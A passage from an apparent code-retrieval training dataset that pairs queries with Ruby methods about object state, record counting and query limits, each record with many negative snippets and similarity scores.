NOT_STARTED\n elsif PureHailDB::TrxState[state] == PureHailDB::TrxState[:IB_TRX_ACTIVE]\n ACTIVE\n elsif PureHailDB::TrxState[state] == PureHailDB::TrxState[:IB_TRX_COMMITTED_IN_MEMORY]\n COMMITTED_IN_MEMORY\n elsif PureHailDB::TrxState[state] == PureHailDB::TrxState[:IB_TRX_PREPARED]\n PREPARED\n else\n end\n end", "def state=(value)\n @state = value\n end", "def state=(value)\n @state = value\n end", "def state=(value)\n @state = value\n end", "def state=(value)\n @state = value\n end", "def state=(value)\n @state = value\n end", "def state=(value)\n @state = value\n end", "def state=(value)\n @state = value\n end", "def state=(value)\n @state = value\n end", "def state=(value)\n @state = value\n end", "def state=(value)\n @state = value\n end", "def device_states=(value)\n @device_states = value\n end", "def get_state\n send_request(FUNCTION_GET_STATE, [], '', 2, '? ?')\n end", "def state\n @state.blank? ? nil : @state\n end", "def getState()\n\t\t\tif @_state.nil? then\n\t\t\t\traise Statemap::StateUndefinedException\n\t\t\tend\n\t\t\treturn @_state\n\t\tend", "def state\n object.human_state_name\n end", "def state=(value)\n @state = value\n end", "def state\r\n\t\t\t`#{BITS::BITSADMIN} /getstate {#{@id}}`\r\n\t\tend", "def state\n end", "def state\n s = self[:saved_state].to_sym\n if s == :running\n stop ? :cancelling : :running\n else\n s\n end\n end", "def power_state\n response = client.exec(\"power status\")\n raise(ASM::Error, \"Invalid IPMI power status response: %s\" % response) unless response =~ /Chassis Power is\\s+(\\S+)/m\n\n state = $1.downcase\n raise(ASM::Error, \"Invalid IPMI power state %s; full response: %s\" % [state, response]) unless %w[on off].include?(state)\n\n logger.debug(\"Current power status: #{response}\")\n state.to_sym\n end", "def state\n domain_info[:state]\n end", "def state\n domain_info[:state]\n end", "def get_game_state\n @game_state\n end", "def get_state\n return @driver.execute_script('''var a = window.ThreesGame.__class__.state\n return a[0]''')\n end", "def device_states_list\n get \"deviceStates\"\n end", "def state\n card_state\n end", "def state_str\n VM_STATE[state]\n end", "def state_str\n VM_STATE[state]\n end", "def updatestate\n @attributes.fetch('updatestate', 0)\n end", "def state\n @grpc.state\n end", "def state\n @grpc.state\n end", "def state\n @grpc.state\n end", "def state\n @grpc.state\n end", "def state\n @grpc.state\n end", "def state\n module_name = self.class.name.underscore.gsub!('skej/state_logic/','')\n @STATE_KEY ||= module_name.to_sym\n end", "def state\n @_state || RunState::INSTALLED\n end", "def get_state(version)\n my_version = get_version(version)\n my_version['state']\n end", "def state\n @obj_env\n end", "def device_compliance_setting_states\n return @device_compliance_setting_states\n end", "def client_state\n return @client_state\n end", "def state\n return 3 if deleted_at\n self[:state]\n end" ]
[ "0.6833674", "0.6833674", "0.6833674", "0.6833674", "0.6833674", "0.6833674", "0.68093747", "0.6781872", "0.6772333", "0.67084444", "0.66962665", "0.66710097", "0.66710097", "0.66296816", "0.6628654", "0.6552922", "0.6546204", "0.654489", "0.6459909", "0.64468914", "0.64272213", "0.6374512", "0.6373301", "0.6348119", "0.6274297", "0.62626994", "0.62622035", "0.62457436", "0.6171784", "0.6154165", "0.61250067", "0.6115425", "0.6114369", "0.60443264", "0.60189027", "0.59799176", "0.59704", "0.5953003", "0.5952923", "0.5939338", "0.593132", "0.58893263", "0.58705443", "0.5861215", "0.5857859", "0.5843375", "0.58359206", "0.58166087", "0.5802955", "0.57955384", "0.5787827", "0.5787827", "0.5787827", "0.5787827", "0.5787827", "0.5787827", "0.5787827", "0.5787827", "0.5787827", "0.5787827", "0.578687", "0.5775117", "0.5774852", "0.5773949", "0.577005", "0.57650656", "0.5754788", "0.57353747", "0.5725442", "0.5714324", "0.5708104", "0.5708104", "0.56856877", "0.5674462", "0.56698895", "0.5667375", "0.56628895", "0.56628895", "0.5654196", "0.5642468", "0.5642468", "0.5642468", "0.5642468", "0.5642468", "0.5636961", "0.5624813", "0.5592161", "0.5588662", "0.5577986", "0.55739766", "0.5572619" ]
0.67454654
16
Sets the state property value. Current state of the imported device.
def state=(value) @state = value end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def state=(value)\n @state = value\n end", "def state=(s)\n @state = s\n end", "def set_state(state)\n stop if state == :error and [:initializing, :ready, :running_sm].include? resource_status\n record.set_state(state)\n end", "def set_door_state(state)\r\n\t\t@state = state\r\n\tend", "def set_State(value)\n set_input(\"State\", value)\n end", "def set_State(value)\n set_input(\"State\", value)\n end", "def set_State(value)\n set_input(\"State\", value)\n end", "def set_State(value)\n set_input(\"State\", value)\n end", "def set_State(value)\n set_input(\"State\", value)\n end", "def set_State(value)\n set_input(\"State\", value)\n end", "def set_State(value)\n set_input(\"State\", value)\n end", "def assign_state(state)\n @state = state\n end", "def set_State(value)\n set_input(\"State\", value)\n end", "def set_State(value)\n set_input(\"State\", value)\n end", "def set_State(value)\n set_input(\"State\", value)\n end", "def set_State(value)\n set_input(\"State\", value)\n end", "def set_State(value)\n set_input(\"State\", value)\n end", "def set_State(value)\n set_input(\"State\", value)\n end", "def set_State(value)\n set_input(\"State\", value)\n end", "def set_State(value)\n set_input(\"State\", value)\n end", "def set_State(value)\n set_input(\"State\", value)\n end", "def state=(arg)\n resource.state = arg\n end", "def state= new_state\n @state = new_state\n end", "def set_state(is_on)\n @client.set_state(is_on)\n end", "def set_state(state)\n self.state = state\n self.save\n end", "def set_state(state)\n @state = state\n self[:action] = state\n @health = @health.clamp(0, 100)\n trigger 'change'\n send_status_notification unless dead?\n save\n end", "def state=(state)\n validator = EnumAttributeValidator.new('String', [\"ACTIVE\", \"SUSPENDED\", \"TERMINATED\", \"UNSUPPORTED\", \"UNACTIVATED\"])\n unless validator.valid?(state)\n fail ArgumentError, \"invalid value for \\\"state\\\", must be one of #{validator.allowable_values}.\"\n end\n @state = state\n end", "def change_device_state(host, device, state)\n raise MogileFS::ReadOnlyError if readonly?\n ! @backend.set_state(:host => host, :device => device, :state => state).nil?\n end", "def state=(s)\n @flows.each_value do |f|\n f.state = s\n end\n end", "def set_state(state)\n @original_state = state\n @first_index = 0\n @second_index = 1\n @operation = :fill\n end", "def device_states=(value)\n @device_states = value\n end", "def setState(state)\n\t\t\traise \"undefined state.\\n\" if state.nil?\n\t\t\traise \"#{state} is not a Statemap.State.\\n\" unless state.is_a?(Statemap::State)\n\t\t\t@_state = state\n\t\t\tif @_debug_flag then\n\t\t\t\t@_debug_stream.puts \"ENTER STATE : %s\\n\" % @_state.getName\n\t\t\tend\n\t\tend", "def state=(new_state)\n @state = new_state\n refresh\n end", "def state=(value)\n client.put(path(\"/state\"), {:transitiontime => self.transitiontime}.merge(value))\n self.data['state'].merge!(value) # TODO: always refresh local state from hub?\n end", "def set_state(s)\n @state = s\n send(s)\n rescue => e\n handle_error(e)\n end", "def state=(s)\n raise ArgumentError, 'The state of TurnOnTasks is always \\'ON\\'' unless s.casecmp('ON').zero?\n super\n end", "def toggle_state\n state\n end", "def state=(state)\n validator = EnumAttributeValidator.new('String', [\"active\", \"deactivated\"])\n unless validator.valid?(state)\n fail ArgumentError, \"invalid value for \\\"state\\\", must be one of #{validator.allowable_values}.\"\n end\n @state = state\n end", "def state=(state) # :nodoc:\n state = state.to_sym if state\n state = nil if state == :available\n if state && !VALID_STATES.include?(state)\n raise ArgumentError, \"Invalid Status (#{state}), use: #{VALID_STATES*' '}\"\n end\n\n set_content_for :show, state\n end", "def set_system_state(state)\n if (servicetype == \"storagenode\")\n execute(\"vdsclient --target storage/cluster.#{cluster}/storage/#{index} setsystemstate \\\"\" + state + \"\\\"\", :exceptiononfailure => false)\n else\n execute(\"vdsclient --target storage/cluster.#{cluster}/distributor/#{index} setsystemstate \\\"\" + state + \"\\\"\", :exceptiononfailure => false)\n end\n end", "def set(state)\n case state\n when false then @mplab_pin.set_low\n when true then @mplab_pin.set_high\n when Numeric then @mplab_pin.set_analog(state)\n else raise ArgumentError, \"Invalid pin state: #{state.inspect}.\"\n end\n end", "def set_power_state(state)\n response = @client.rest_put(@data['uri'] + '/powerState', 'body' => { powerState: state })\n @client.response_handler(response)\n end", "def set_power(port, state)\n\t\tstate = state ? 1 : 0\n\t\t\n\t\tdo_send(\"\\eP#{port}*#{state}DCPP\")\n\t\t# Response: DcppP_port*portstatus 0 == off, 1== on\n\tend", "def state=(state)\n validator = EnumAttributeValidator.new('String', [\"Trial\", \"Provisioned\", \"Paid\", \"AwaitingPayment\", \"Cancelled\", \"Failed\", \"Expired\"])\n unless validator.valid?(state)\n fail ArgumentError, \"invalid value for 'state', must be one of #{validator.allowable_values}.\"\n end\n @state = state\n end", "def state=(state)\n validator = EnumAttributeValidator.new('String', [\"Trial\", \"Provisioned\", \"Paid\", \"AwaitingPayment\", \"Cancelled\", \"Failed\", \"Expired\"])\n unless validator.valid?(state)\n fail ArgumentError, \"invalid value for 'state', must be one of #{validator.allowable_values}.\"\n end\n @state = state\n end", "def state=(state)\n validator = EnumAttributeValidator.new('String', [\"Trial\", \"Provisioned\", \"Paid\", \"AwaitingPayment\", \"Cancelled\", \"Failed\", \"Expired\"])\n unless validator.valid?(state)\n fail ArgumentError, \"invalid value for 'state', must be one of #{validator.allowable_values}.\"\n end\n @state = state\n end", "def set_state\n @state = State.find(params[:id])\n end", "def set_state\n @state = State.find(params[:id])\n end", "def set_state\n @state = State.find(params[:id])\n end", "def set_state\n @state = State.find(params[:id])\n end", "def set_state\n @state = State.find(params[:id])\n end", "def set_state\n @state = State.find(params[:id])\n end", "def set_state\n @state = State.find(params[:id])\n end", "def set_state\n @state = State.find(params[:id])\n end", "def set_game_state s=''\n @state = s\n end", "def state=(state)\n validator = EnumAttributeValidator.new('String', [\"active\", \"expired\", \"on_hold\", \"pending\"])\n unless validator.valid?(state)\n fail ArgumentError, \"invalid value for 'state', must be one of #{validator.allowable_values}.\"\n end\n @state = state\n end", "def indicator_state=(indicator_state); end", "def state=(state)\n validator = EnumAttributeValidator.new('String', ['WAITING', 'RUNNING', 'FINISHED'])\n unless validator.valid?(state)\n fail ArgumentError, 'invalid value for \"state\", must be one of #{validator.allowable_values}.'\n end\n @state = state\n end", "def state=(state)\n validator = EnumAttributeValidator.new('String', [\"Pending\", \"Unsent\", \"Sent\"])\n unless validator.valid?(state)\n fail ArgumentError, \"invalid value for 'state', must be one of #{validator.allowable_values}.\"\n end\n @state = state\n end", "def state=(input)\n self.audited_state = input.try(:to_sym)\n end", "def state=(value)\n @children['state'][:value] = value\n end", "def set_state\n @state = State.find(params[:id])\n end", "def set_state\n @state = State.find(params[:id])\n end", "def state=(s)\n @tasks.each_value do |task|\n task.state = s\n end\n end", "def state=(state)\n if not STATES.include? state\n raise PreconditionError, \"Invalid game victory state.\"\n end\n super\n changed(true)\n notify_observers U_COMPLETED, state, self.currentPlayer\n if not self.state == state\n raise PostconditionError, \"State not set correctly.\"\n end\n self.state\n end", "def set_versioning_state(state)\n raise Error::Constraint.new(\"Can only set a different version state on PWC documents, or unsaved new documents\") unless key.nil? || working_copy?\n raise ArgumentError, \"You must pass a String\" unless state.is_a?(String)\n if key.nil?\n possible_values = %w[major minor none checkedout]\n else\n possible_values = %w[major minor]\n end\n raise ArgumentError, \"Given state is invalid. Possible values are #{possible_values.join(\", \")}\" unless possible_values.include?(state)\n\n @versioning_state = state\n end", "def state=(state)\n s = state.to_s.downcase\n return if s == \"cancelled\" && !stop\n self[:saved_state] = s\n end", "def set_state(index, state)\n @states[index] = state\n end", "def opened_sensor_activated\n @state = @state.opened\n end", "def enabled=(new_state)\n tmp = new_state ? 1 : 0\n Klass.setEnabled(@handle, @index, tmp)\n new_state\n end", "def enabled=(new_state)\n tmp = new_state ? 1 : 0\n Klass.setEnabled(@handle, @index, tmp)\n new_state\n end", "def state=(state)\n validator = EnumAttributeValidator.new('String', [\"Unsent\", \"Sending\", \"Sent\"])\n unless validator.valid?(state)\n fail ArgumentError, \"invalid value for 'state', must be one of #{validator.allowable_values}.\"\n end\n @state = state\n end", "def set_state(ul,lr,state)\r\n update_lights(ul,lr) do |i,j|\r\n @lights[i][j] = state\r\n end\r\n end", "def client_state=(value)\n @client_state = value\n end", "def state=(state)\n\n if !state.nil? && state.to_s.length > 50\n fail ArgumentError, \"invalid value for 'state', the character length must be smaller than or equal to 50.\"\n end\n\n @state = state\n end", "def state=(state)\n\n if !state.nil? && state.to_s.length > 50\n fail ArgumentError, \"invalid value for 'state', the character length must be smaller than or equal to 50.\"\n end\n\n @state = state\n end", "def write_state(value)\n resource.send \"#{self.class._state_property.to_s}=\", value.path\n end", "def state=(new_state)\n self.hmd_states.build(state: new_state)\n self.current_state = new_state.to_sym\n end", "def state=(state)\n @state = state\n @delegate.save_scene\n end", "def setting_states=(value)\n @setting_states = value\n end", "def action_state=(value)\n @action_state = value\n end", "def media_state=(value)\n @media_state = value\n end", "def set_state(state, options = {}, &abort)\n if @set_state != state\n @set_state = @state = state\n options[:abort] = abort unless abort.nil?\n # Set all appropriate instance variables\n options.each do |k, v|\n instance_variable_set(\"@#{k}\", v)\n end\n cancel_timers\n @next_state = {}\n end\n end", "def set_state\n @state = State.find(params[:id])\n end", "def state=(val)\n Window.functions[__method__] ||= AU3_Function.new(\"WinSetState\", 'SSL', 'L')\n Window.functions[__method__].call(@title.wide, @text.wide, val)\n val\n end", "def set_state\n @state = State.friendly.find(params[:id])\n end", "def switch_state state\n\t\t\t@state_buffer = Proc.new do\n\t\t\t\t@objs2 = []\n\t\t\t\t@current_state = state\n\t\t\t\t@current_state.setup\n\t\t\tend\n\t\tend", "def set_state(is_on)\n state = { :on => is_on }\n payload = { :state => state }\n client.publish(state_topic, payload.to_json, true, 1)\n state\n end", "def status=(value)\n if value.nil?\n write_attribute :state, nil\n else\n write_attribute :state, value.to_s\n end\n end", "def set_uid_state(state)\n response = @client.rest_put(@data['uri'] + '/uidState', 'body' => { uidState: state })\n @client.response_handler(response)\n end", "def set_door_lock(lock_state)\r\n\t\t@lock_state = lock_state\r\n\tend" ]
[ "0.688214", "0.67629594", "0.6609025", "0.6513474", "0.64058995", "0.64058995", "0.64058995", "0.64058995", "0.64058995", "0.64058995", "0.64058995", "0.6384067", "0.6371707", "0.6371707", "0.6371707", "0.6371707", "0.6371707", "0.6371707", "0.6371707", "0.636407", "0.636407", "0.6359254", "0.6348089", "0.6237237", "0.61913586", "0.61719924", "0.61510557", "0.6140707", "0.6137849", "0.6108861", "0.60967475", "0.6092686", "0.6067891", "0.59807324", "0.59467196", "0.58985317", "0.5835044", "0.58320576", "0.5827139", "0.58034176", "0.57952446", "0.5760748", "0.5729383", "0.57080406", "0.57080406", "0.57080406", "0.57021385", "0.57021385", "0.57021385", "0.57021385", "0.57021385", "0.57021385", "0.57021385", "0.57021385", "0.5661774", "0.56550765", "0.5633042", "0.56084913", "0.5606022", "0.56053096", "0.5602609", "0.5601738", "0.5601738", "0.55973715", "0.55906075", "0.5588602", "0.5579203", "0.55769736", "0.55715764", "0.5559426", "0.5559426", "0.55351317", "0.5534325", "0.5530786", "0.5530205", "0.5530205", "0.55074126", "0.5479635", "0.54795516", "0.54783374", "0.5470661", "0.546347", "0.54533756", "0.54323375", "0.54264665", "0.5404068", "0.5398891", "0.53843343", "0.5376849", "0.5376116", "0.537241" ]
0.6939945
8
method count (see Bronze::Collections::Querycount)
def matching selector super primary_key_transform.normalize(selector) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def count\n query.count\n end", "def count\n query.count\n end", "def count\n @count ||= @query.count\n end", "def count\n collection.count\n end", "def count(query={})\n collection.count({ query: query })\n end", "def count(query)\n raise \"The class #{self.class.name} must implement the 'count' method.\"\n end", "def count\n end", "def count\n end", "def count\n @count\n end", "def count\n @count\n end", "def count\n @count\n end", "def count; end", "def count; end", "def count; end", "def count\n all.count\n end", "def count\n @count\n end", "def count\n self.all.count\n end", "def count\n @all.size\n end", "def count\n @collection.count(Scope.new(@collection, @selector, @opts))\n end", "def count\n Driver.client[coll_name].find.count\n end", "def count\n # implement in subclasses\n end", "def count\n @count\n end", "def count\n @count\n end", "def count\n @count\n end", "def count\n self.class.count(self)\n end", "def count **args\n\t\tquery( **( { projection: 'COUNT(*)' }.merge args )).execute(reduce: true){|x| x[:\"COUNT(*)\"]}\n end", "def count(query)\n read(query).length\n end", "def count\n each.count\n end", "def count(constraints = {})\n query(constraints).count\n end", "def total_count\n @total_count ||= self.query.count\n end", "def count\n call_client(:count)\n end", "def count\n @params[:rettype] = 'count'\n self\n end", "def count\n all.size\n end", "def counts\r\n @counts\r\n end", "def count\n filtered = apply_criteria(@data)\n filtered.count\n end", "def count\r\n items.size\r\n end", "def count\n raise NotImplementedError\n end", "def count\n\t\t\t\tlist.count\n\t\t\tend", "def count\n @rows.count\n end", "def item_count\n @collection.count\n end", "def count\n @options[:select] = \"COUNT\"\n @options.delete(:attributes_to_get)\n\n response = run\n\n while continue?(response)\n @options[:exclusive_start_key] = response.last_evaluated_key\n response = run(response)\n end\n\n response.count\n end", "def count\n @count ||=\n begin\n # self.sql sets self.model_class.\n this_sql = sql(:count => true)\n model_class.connection.\n query(this_sql).\n first.first\n end\n end", "def count!\n count(nil)\n end", "def count\n ensure_aggregate!\n SQLite::API.aggregate_count( @func )\n end", "def count\n each.size\n end", "def count(selector={})\n @db.count(@name, selector || {})\n end", "def count **args\n logger.progname = 'RestOperations#CountRecords'\n query = OrientSupport::OrientQuery.new args\n query.projection << 'COUNT (*)'\n result = get_records raw: true, query: query\n result.first['COUNT'] rescue 0 # return_value\n end", "def count\n @documents.count\n end", "def count(query = { query: { match_all: {} } })\n client.count index: name, body: query\n end", "def count\n @collector.count\n end", "def count\n sql = order_by(nil).to_sql(pagination: false)\n\n @connection.ask(\"SELECT COUNT(*) FROM (#{sql}) _total_count\", *args)\n end", "def size\n\n fetch_all(:count => true)\n end", "def count(options)\n raise \"Not implemented\"\n end", "def count\n to_a.size\n end", "def count\n to_a.size\n end", "def count\n to_a.size\n end", "def count ; @count ||= table.count end", "def total_count\n @all.size\n end", "def item_count\n @collection.size\n end", "def count( query )\n data = index_request({ \"q\" => query })\n return data[\"response\"][\"numFound\"]\n end", "def item_count\n collection.length\n end", "def count\n @count ||= documents.size\n end", "def count\n elements.count\n end", "def count\n @ole.Count\n end", "def count\n @ole.Count\n end", "def count\n @ole.Count\n end", "def count\n @ole.Count\n end", "def count\n @ole.Count\n end", "def count\n @ole.Count\n end", "def count\n @ole.Count\n end", "def count\n @ole.Count\n end", "def count(opts={})\n all(opts).size\n end", "def count_records **args\n logger.progname = 'RestOperations#CountRecords'\n query = OrientSupport::OrientQuery.new args\n \tquery.projection << 'COUNT (*)'\n \tresult = get_records raw: true, query: query\n begin\n result.first['COUNT']\n rescue\n return 0\n end\n end", "def count\n @item_list.size\n end", "def count\n Dynamoid.adapter.count(table_name)\n end", "def count\n Dynamoid.adapter.count(table_name)\n end", "def size\n @count\n end", "def size\n @count\n end", "def count\n load\n @result_count\n end", "def item_count\n @collection.length\n end", "def count\n dps.count\nend", "def count\n 1\n end", "def count\n if @count\n if @count.respond_to?(:call)\n @count = @count.call\n else\n @count\n end\n else\n super\n end\n end", "def get_count (db, query)\n\tcount = db.execute query\n\treturn count[0][0]\nend", "def count(products) #este nome pode ser o que nós quisermos porque só está dentro do método\n products.count\nend", "def results_count(query)\n refresh_elasticsearch\n Opportunity.__elasticsearch__.search(query: query[:query],\n sort: query[:sort]).\n results.count\n end", "def count\n return @@all\n end", "def count(query)\n url_chunk = if query.is_a?(Frodo::Query)\n query.include_count\n query.to_s\n else\n service[query].query.count\n end\n\n body = api_get(url_chunk).body\n\n if query.is_a?(Frodo::Query)\n body['@odata.count']\n else\n # Some servers (*cough* Microsoft *cough*) seem to return\n # extraneous characters in the response.\n # I found out that the _\\xef\\xbb\\xbf contains probably invisible junk characters\n # called the Unicode BOM (short name for: byte order mark).\n body.scan(/\\d+/).first.to_i\n end\n end", "def retrieved_records\n results.count\n end", "def count\n size = 0\n core_search.group(\"name.id, #{main_group_by_columns}\").each do |_x|\n size += 1\n end\n size\n end", "def count()\n if @count == -1\n params = @params.clone\n params['count'] = 1\n\n res = @api.do_request(\"GET\", @path, params)\n @count = res['count'].to_i\n end\n @count\n end", "def count\n @count ||= 0\n end", "def count\n @count ||= get_count\n end", "def number_of_elements_in_collection\n # collection here refers to the collection that is set with the initialize method\n # collection() is a private accessor method at the bottom of this class that accesses @collection\n collection.count\n end", "def count(view = :all, *args, &block)\n if view == :all\n return super({}, *args) \n end\n \n if has_view?(view)\n query = args.shift || {}\n result = view(view, {:reduce => true}.merge(query), *args, &block)['rows']\n \n return result.first['value'] unless result.empty?\n end\n 0\n end", "def Count()\n _getproperty(1, [], [])\n end", "def count\n transactions.count\n end", "def count\n @data.size\n end", "def odb_count\n \"count(#{to_s})\"\n end", "def records_count\n @klass.all.size\n end", "def count\n @store.count\n end" ]
[ "0.8618216", "0.8618216", "0.84792435", "0.80583966", "0.8025757", "0.7983656", "0.79193735", "0.79193735", "0.79112333", "0.79112333", "0.79112333", "0.7897073", "0.7897073", "0.7897073", "0.7878206", "0.7843871", "0.7813839", "0.78118575", "0.78098595", "0.778215", "0.7684404", "0.76181126", "0.76181126", "0.76181126", "0.7588013", "0.75585586", "0.7557724", "0.75159526", "0.74941957", "0.7466796", "0.74606025", "0.7450211", "0.74447405", "0.7421935", "0.7382081", "0.7381807", "0.73786736", "0.7363042", "0.73460275", "0.73292255", "0.7296867", "0.72951585", "0.7291212", "0.7287341", "0.72794574", "0.726458", "0.72425747", "0.7240103", "0.72308695", "0.7196392", "0.7192503", "0.71809006", "0.7179367", "0.7178855", "0.7171264", "0.7171264", "0.716658", "0.7158064", "0.7141425", "0.713196", "0.7122237", "0.711884", "0.7105897", "0.7104686", "0.7104686", "0.7104686", "0.7104686", "0.7104686", "0.7104686", "0.7104686", "0.7104686", "0.70940036", "0.70865685", "0.7074657", "0.70610666", "0.70610666", "0.7050567", "0.7050567", "0.7047629", "0.7046621", "0.70448154", "0.7020104", "0.7019779", "0.701791", "0.70170516", "0.70037925", "0.6988332", "0.6966161", "0.6955985", "0.6953604", "0.6918173", "0.69125813", "0.6912119", "0.6905742", "0.69042504", "0.6901871", "0.68916446", "0.6891556", "0.6887527", "0.68786365", "0.6870173" ]
0.0
-1
method matching (see Bronze::Collections::Querylimit)
def limit count count.zero? ? none : super end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def limit; end", "def limit; end", "def limit; end", "def limit(limit); end", "def miter_limit(limit)\n end", "def limit=(_arg0); end", "def method_missing(method_name, *args)\n\n method = method_name.to_s\n\n if method.end_with? '!'\n method.chop!\n error_on_empty = true\n end\n\n if method.start_with? 'find_all_by_'\n attribs = method.gsub /^find_all_by_/, ''\n elsif method.start_with? 'find_by_'\n attribs = method.gsub /^find_by_/, ''\n limit(1)\n elsif method.start_with? 'find_first_by_'\n limit(1)\n find_first = true\n attribs = method.gsub /^find_first_by_/, ''\n elsif method.start_with? 'find_last_by_'\n limit(1)\n find_last = true\n attribs = method.gsub /^find_last_by_/, ''\n else\n super\n end\n\n attribs = attribs.split '_and_'\n conditions = {}\n attribs.each { |attr| conditions[attr] = args.shift }\n\n where(conditions, *args)\n load\n raise RecordNotFound if error_on_empty && @records.empty?\n return @records.first if limit_value == 1\n @records\n end", "def limit?() @limit; end", "def test_find_limit\n assert_equal(2, @coll.find().limit(2).length())\n end", "def apply_limit\n @query = @query.limit(@options[:limit])\n end", "def find(query); end", "def find(query); end", "def limit_posts; end", "def limit_posts!; end", "def limit\n self[:limit]\n end", "def limit\n 7\n end", "def item_limit\n 100\n end", "def limit_posts=(_arg0); end", "def limit\n super\n end", "def limit( pair )\n get(\"/limit/#{pair}\")\n end", "def query; end", "def search_field(object_name, method, options = T.unsafe(nil)); end", "def query_len; query.size; end", "def limit(limit)\n self.query.limit = limit\n self\n end", "def results_limit\n # max number of search results to display\n 10\n end", "def respond_to?(method) \n return super unless method.to_s.match(/^children_limit_(\\d+)/)\n true\n end", "def paginator; end", "def to_find_limit\n @limit\n end", "def match_query(query); end", "def search_time_limit\n super\n end", "def pattern_find_with_conditions_and_params_or_limit\n <<-EOT\n SendWithArguments<\n arguments = ActualArguments<\n array = [\n any+,\n HashLiteral<\n array = [\n any{even},\n SymbolLiteral<value = :limit | :conditions>,\n SendWithArguments<\n name = :[],\n receiver = Send<name = :params | :session>\n >,\n any{even}\n ]\n >\n ]\n >,\n name = :find>\n EOT\n end", "def find_by()\n\n end", "def check_limit\n if params[:limit]\n anagrams[0,params[:limit].to_i]\n else\n anagrams\n end\n end", "def reservation_search(limit, offset)\n repository.adapter.select(query_strategy.query_reservation_search(limit, offset))\n end", "def query_len; @hit.mrna.len; end", "def search; end", "def limit(value)\n query_proxy = OData::Model::QueryProxy.new(self)\n query_proxy.limit(value.to_i)\n end", "def query_methods(result_type); end", "def find; end", "def per_page\n collection.limit_value\n end", "def method_missing(meth, *args, &block)\n if meth.to_s =~ /^recent_(\\w+)$/\n recent_type = $1.singularize.camelize.constantize\n views = viewings.find(:all, :limit => AppConstants::RECENT_LIMIT, :order => \"created_at DESC\",\n :conditions => \"viewable_type = '#{recent_type}'\").map { |viewing| viewing.viewable }.uniq.compact\n # make sure the viewings are available to this contact\n views.reject { |v| !account_list.include?(v.account)}\n else\n super\n end\n end", "def _query(*params)\n fail 'not implemented'\n end", "def [](*args)\n case args.size\n when 1\n index = args[0]\n if index.kind_of?(Range)\n offset = index.begin\n limit = index.end - index.begin\n limit += 1 unless index.exclude_end?\n self.limit(limit, offset)\n else\n by_id(ids[index])\n end\n when 2\n offset, limit = args\n self.limit(limit, offset)\n else\n raise ArgumentError.new(\"wrong number of arguments (#{args.size} for 1 or 2)\")\n end\n end", "def more_results?()\n #This is a stub, used for indexing\n end", "def find_by(arg, *args)\n where(arg, *args).take\n end", "def query(&blk)\n @adapter.query(collection, self, &blk)\n end", "def get_more_items\n @items = Item.page(2)\n\tend", "def limit(value)\n\t\t\tparam(\"limit\", value)\n\t\tend", "def count(query)\n raise \"The class #{self.class.name} must implement the 'count' method.\"\n end", "def candidate_limit(uuid); end", "def limit(per_page,page=0)\n @limit = per_page\n @page = page\n\n self\n end", "def search(query); end", "def limit(value)\n update_query(:limit => value)\n end", "def visit_Arel_Nodes_SelectStatement(o, collector)\n if o.offset && !o.limit\n o.limit = Arel::Nodes::Limit.new(18446744073709551615)\n end\n super\n end", "def rekey_limit; end", "def method_4(query)\n\t\tLog.seg(\"Method 4 given: #{query}\", \"DEBUG\")\n\t\tquery = [\"%\" + query[(query.length/2)..-1]]\n\t\tLog.seg(\"Method 4 yields: #{query}\", \"DEBUG\")\n\t\tquery\n\tend", "def limit(_limit)\n @limit = _limit\n self\n end", "def test_find_count\n assert_equal(6, @coll.find().limit(2).count())\n end", "def to_find_limit\n @conditions.to_find_limit\n end", "def get_by(classname, args = {})\n classname = classname.to_sym\n self.requireclass(classname)\n classob = @args[:module].const_get(classname)\n\n raise \"list-function has not been implemented for '#{classname}'.\" if !classob.respond_to?(:list)\n\n args[\"limit\"] = 1\n self.list(classname, args) do |obj|\n return obj\n end\n\n return false\n end", "def paginator=(_arg0); end", "def limit\n @request.params[:limit] || 10\n end", "def limit\n @options[:limit]\n end", "def find_every(options = {})\n query = {:limit => 100}.merge(options)\n \n feedkey = Wakoopa.feedkey\n if feedkey\n query.merge!(:key => feedkey)\n end\n \n Wakoopa::Request.get(self, :query => query)\n end", "def check_record_limit!(limit, attributes_collection)\n return unless limit\n limit = case limit\n when Symbol\n send(limit)\n when Proc\n limit.call\n else\n limit\n end\n\n raise TooManyRecords, \"Maximum #{limit} records are allowed. Got #{attributes_collection.size} records instead.\" if limit && attributes_collection.size > limit\n end", "def method_missing(method, *args)\n if method =~ /^find_all_by/\n @scope.send(method, *args).map do |element|\n element.restrict(@context, options_with_escape)\n end\n elsif method =~ /^find_by/\n @scope.send(method, *args).restrict(@context, options_with_escape)\n elsif @scope.heimdallr_scopes && @scope.heimdallr_scopes.include?(method)\n Proxy::Collection.new(@context, @scope.send(method, *args), options_with_escape)\n elsif @scope.respond_to? method\n raise InsecureOperationError,\n \"Potentially insecure method #{method} was called\"\n else\n super\n end\n end", "def add_limit(limit)\r\n filter.max_returned = limit if limit\r\n end", "def limit\n pagination.fetch(:limit, 10).to_i\n end", "def get_limit\n return request.query_parameters['limit'] || 100\n end", "def get_limits\n # code\n end", "def search(query, options={})\n limit = options[:limit] if options[:limit].is_a? Numeric\n if (!limit.nil? && limit == 1)\n collection.find_one(query)\n else\n collection.find(query, options)\n end\n end", "def limit(value)\n update_query(:limit => value)\n end", "def limit; @opts['limit']; end", "def per_page; end", "def select; end", "def select; end", "def method_missing(method, *args, &block)\n super if !respond_to?(method)\n parts = split_args(args)\n queries = parts.first\n results = Array(@message.send(method))\n count = match_args(results, queries)\n if count.size == queries.size\n @labels ||= []\n @multi &= true\n @labels.concat(parts.last.compact) if @add\n else\n @multi = false\n end\n end", "def satisfied?\n @options[:limit] > 0 && @count >= @options[:limit]\n end", "def rest\n @options[:limit] - @count if @options[:limit] > 0\n end", "def chain_with_number_query(collection, query)\n case\n when query.method == 'equals_to'\n collection.interaction_count_eq(query.value)\n when query.method == 'lesser_than'\n collection.interaction_count_lt(query.value)\n when query.method == 'greater_than'\n collection.interaction_count_gt(query.value)\n when query.method == 'between'\n collection.interaction_count_betw(\n query.min_value,\n query.max_value\n )\n else\n collection\n end\n end", "def restriction\n end", "def method_missing(method, *args, &block)\n if [:default_per_page, :max_per_page, :max_pages, :max_pages_per, :page].include? method\n model.send(method, *args, &block) if model.respond_to?(method)\n else\n super\n end\n end", "def method_missing(method, *args)\n if method =~ /find/\n finder = method.to_s.split('_by_').first\n attributes = 